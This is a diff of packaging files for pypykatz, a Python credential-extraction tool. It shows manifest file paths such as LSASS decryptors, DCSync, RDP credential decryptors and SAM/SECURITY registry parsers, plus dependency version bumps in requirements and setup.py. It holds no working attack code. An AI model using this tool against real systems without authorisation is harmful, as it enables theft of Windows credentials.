106 | 107 | pypykatz/commons/winapi/local/function_defs/psapi.py |
107 | 108 | pypykatz/commons/winapi/local/function_defs/version.py |
108 | 109 | pypykatz/commons/winapi/local/function_defs/winreg.py |
109 | pypykatz/crypto/MD4.py | |
110 | pypykatz/crypto/RC4.py | |
111 | pypykatz/crypto/__init__.py | |
112 | pypykatz/crypto/des.py | |
113 | pypykatz/crypto/aes/AES.py | |
114 | pypykatz/crypto/aes/__init__.py | |
115 | pypykatz/crypto/aes/blockfeeder.py | |
116 | pypykatz/crypto/aes/util.py | |
117 | pypykatz/crypto/unified/__init__.py | |
118 | pypykatz/crypto/unified/aes.py | |
119 | pypykatz/crypto/unified/aesgcm.py | |
120 | pypykatz/crypto/unified/common.py | |
121 | pypykatz/crypto/unified/des.py | |
122 | pypykatz/crypto/unified/des3.py | |
123 | pypykatz/crypto/unified/gcmtest.py | |
124 | pypykatz/crypto/unified/pbkdf2.py | |
125 | pypykatz/crypto/unified/pkcs7.py | |
126 | 110 | pypykatz/dpapi/__init__.py |
127 | 111 | pypykatz/dpapi/cmdhelper.py |
128 | 112 | pypykatz/dpapi/constants.py |
129 | 113 | pypykatz/dpapi/dpapi.py |
114 | pypykatz/dpapi/extras.py | |
130 | 115 | pypykatz/dpapi/functiondefs/__init__.py |
131 | 116 | pypykatz/dpapi/functiondefs/dpapi.py |
132 | 117 | pypykatz/dpapi/structures/__init__.py |
185 | 170 | pypykatz/lsadecryptor/packages/wdigest/__init__.py |
186 | 171 | pypykatz/lsadecryptor/packages/wdigest/decryptor.py |
187 | 172 | pypykatz/lsadecryptor/packages/wdigest/templates.py |
173 | pypykatz/parsers/__init__.py | |
174 | pypykatz/parsers/cmdhelper.py | |
188 | 175 | pypykatz/plugins/__init__.py |
189 | 176 | pypykatz/plugins/pypykatz_rekall.py |
177 | pypykatz/rdp/__init__.py | |
178 | pypykatz/rdp/cmdhelper.py | |
179 | pypykatz/rdp/parser.py | |
180 | pypykatz/rdp/packages/__init__.py | |
181 | pypykatz/rdp/packages/creds/__init__.py | |
182 | pypykatz/rdp/packages/creds/decryptor.py | |
183 | pypykatz/rdp/packages/creds/templates.py | |
190 | 184 | pypykatz/registry/__init__.py |
191 | 185 | pypykatz/registry/aoffline_parser.py |
192 | 186 | pypykatz/registry/cmdhelper.py |
198 | 192 | pypykatz/registry/sam/sam.py |
199 | 193 | pypykatz/registry/sam/structures.py |
200 | 194 | pypykatz/registry/security/__init__.py |
195 | pypykatz/registry/security/acommon.py | |
201 | 196 | pypykatz/registry/security/asecurity.py |
202 | 197 | pypykatz/registry/security/common.py |
203 | 198 | pypykatz/registry/security/security.py |
223 | 218 | pypykatz/smb/cmdhelper.py |
224 | 219 | pypykatz/smb/dcsync.py |
225 | 220 | pypykatz/smb/lsassutils.py |
221 | pypykatz/smb/printer.py | |
226 | 222 | pypykatz/smb/regutils.py |
227 | 223 | pypykatz/smb/shareenum.py |
228 | 224 | pypykatz/utils/__init__.py |
0 | aiosmb>=0.2.40 | |
1 | aiowinreg>=0.0.4 | |
2 | minidump>=0.0.17 | |
3 | minikerberos>=0.2.10 | |
4 | msldap>=0.3.27 | |
5 | winacl>=0.1.1 | |
0 | unicrypto>=0.0.9 | |
1 | minidump>=0.0.21 | |
2 | minikerberos>=0.3.2 | |
3 | aiowinreg>=0.0.7 | |
4 | msldap>=0.4.1 | |
5 | winacl>=0.1.5 | |
6 | aiosmb>=0.4.2 | |
7 | aesedb>=0.1.0 | |
8 | tqdm |
44 | 44 | |
45 | 45 | # long_description=open("README.txt").read(), |
46 | 46 | python_requires='>=3.6', |
47 | classifiers=( | |
47 | classifiers=[ | |
48 | 48 | "Programming Language :: Python :: 3.6", |
49 | 49 | "License :: OSI Approved :: MIT License", |
50 | 50 | "Operating System :: OS Independent", |
51 | ), | |
51 | ], | |
52 | 52 | install_requires=[ |
53 | 'minidump>=0.0.17', | |
54 | 'minikerberos>=0.2.10', | |
55 | 'aiowinreg>=0.0.4', | |
56 | 'msldap>=0.3.27', | |
57 | 'winacl>=0.1.1', | |
58 | 'aiosmb>=0.2.40', | |
53 | 'unicrypto>=0.0.9', | |
54 | 'minidump>=0.0.21', | |
55 | 'minikerberos>=0.3.2', | |
56 | 'aiowinreg>=0.0.7', | |
57 | 'msldap>=0.4.1', | |
58 | 'winacl>=0.1.5', | |
59 | 'aiosmb>=0.4.2', | |
60 | 'aesedb>=0.1.0', | |
61 | 'tqdm', | |
59 | 62 | ], |
60 | 63 | |
61 | 64 | # No more conveinent .exe entry point thanks to some idiot who |